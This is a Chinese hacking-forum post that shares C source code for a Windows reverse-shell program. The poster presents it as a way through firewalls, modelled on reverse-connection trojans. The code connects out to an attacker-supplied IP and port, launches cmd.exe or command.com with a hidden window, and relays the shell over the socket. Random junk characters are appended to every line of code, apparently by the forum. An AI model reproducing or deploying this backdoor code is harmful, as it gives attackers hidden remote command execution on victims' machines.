社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3350阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Cz);mOb%M%  
^21f^>k(  
/* ============================== s>``- ]3  
Rebound port in Windows NT = 4WZr  
By wind,2006/7 Nl<,rD+KSD  
===============================*/ zu*G4?]~h  
#include e, 0I~:  
#include 6N+)LF}P b  
p>tdJjnt  
#pragma comment(lib,"wsock32.lib") ;q&D,4r]  
$F()`L{Tj  
void OutputShell(); 9egaN_K  
SOCKET sClient; /^eemx  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8Pdnw/W  
rHBjR_L.2  
void main(int argc,char **argv) VrE5^\k<a  
{ ^?]H$e  
WSADATA stWsaData; LP-Q'vb<=  
int nRet; z(X6%p0  
SOCKADDR_IN stSaiClient,stSaiServer; _%Ld E z  
J9=0?^v-:B  
if(argc != 3) JIKxY$GS  
{ ZpctsCz]  
printf("Useage:\n\rRebound DestIP DestPort\n"); *#^1rKGWK  
return; _%TeTNY#  
} w:zC/5x`  
49fq6ZhO  
WSAStartup(MAKEWORD(2,2),&stWsaData); yi;t  
sK/"  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9Zsb1 M!n>  
9x{prCr  
stSaiClient.sin_family = AF_INET; y/6LMAI  
stSaiClient.sin_port = htons(0); <slq1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); G5f57F  
*`.{K12T  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) LhRe?U\  
{ xi. KD  
printf("Bind Socket Failed!\n"); ,4W((OQ^  
return; pDq_nx9  
}  ly%B!P|  
gK\7^95  
stSaiServer.sin_family = AF_INET; 1+}Ud.v3VW  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); nnl9I4-O  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ucPMT0k  
2B dr#qr  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) a`iAA1HJ  
{ E"&9FxS]^  
printf("Connect Error!"); 4H)" d  
return; v nC&1  
} aW$nNUVD  
OutputShell(); 8mLU ~P |  
} dKpa5f7  
1^^D :tt  
void OutputShell() @\}36y  
{ 82!GM.b  
char szBuff[1024]; fGWK&nONyk  
SECURITY_ATTRIBUTES stSecurityAttributes; Pp hQa!F$  
OSVERSIONINFO stOsversionInfo; Rj`Y X0?+  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; as!j0j%  
STARTUPINFO stStartupInfo; $Xc<K_Z  
char *szShell; *S_Iza #&x  
PROCESS_INFORMATION stProcessInformation; M6#(F7hB  
unsigned long lBytesRead; hAyPaS#  
3[Iw%% q  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (C@@e'e  
x's-UO"^  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); jpv,0(  
stSecurityAttributes.lpSecurityDescriptor = 0; #K w\r50  
stSecurityAttributes.bInheritHandle = TRUE; mDf WR  
@ RBwT  
hj,x~^cS  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Tj9q(Vq  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \"Iy <zG  
[Cp{i<C  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &}1)]6q$  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )aSkUytg"  
stStartupInfo.wShowWindow = SW_HIDE; epyfgg MT  
stStartupInfo.hStdInput = hReadPipe;  c @fc7  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; j]&{ @Y  
G].KJ5,y  
GetVersionEx(&stOsversionInfo); 4/>={4Y9  
lej{VcG  
switch(stOsversionInfo.dwPlatformId) 0{F.DDiNT  
{ glgk>83I+  
case 1: sc60:IxgI  
szShell = "command.com"; #mYxO  
break; =YIQ _,{u  
default: tO3 ;; %  
szShell = "cmd.exe";  U2$T}/@  
break; I r~X#$Upc  
} n]Y _C^  
}DaYO\:yK*  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kM`#U *j  
9l]IE,u  
send(sClient,szMsg,77,0); 3(5Y-.aK}^  
while(1) 9<S-b |!@  
{ D9 en  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); h[T3WE  
if(lBytesRead) e AjtWqg  
{ T`sM4 VWqU  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9MxGyGz$  
send(sClient,szBuff,lBytesRead,0); ,-)1)R\.  
} /$(D>KU  
else vNGvEJ`qn  
{ ( Iew%U  
lBytesRead=recv(sClient,szBuff,1024,0); W:\VFP f2  
if(lBytesRead<=0) break; gzF&7trN  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .~J^`/o  
} ^h=kJR9  
} h6/Z_ Y  
Lt_]3g o  
return; l1WVt}  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八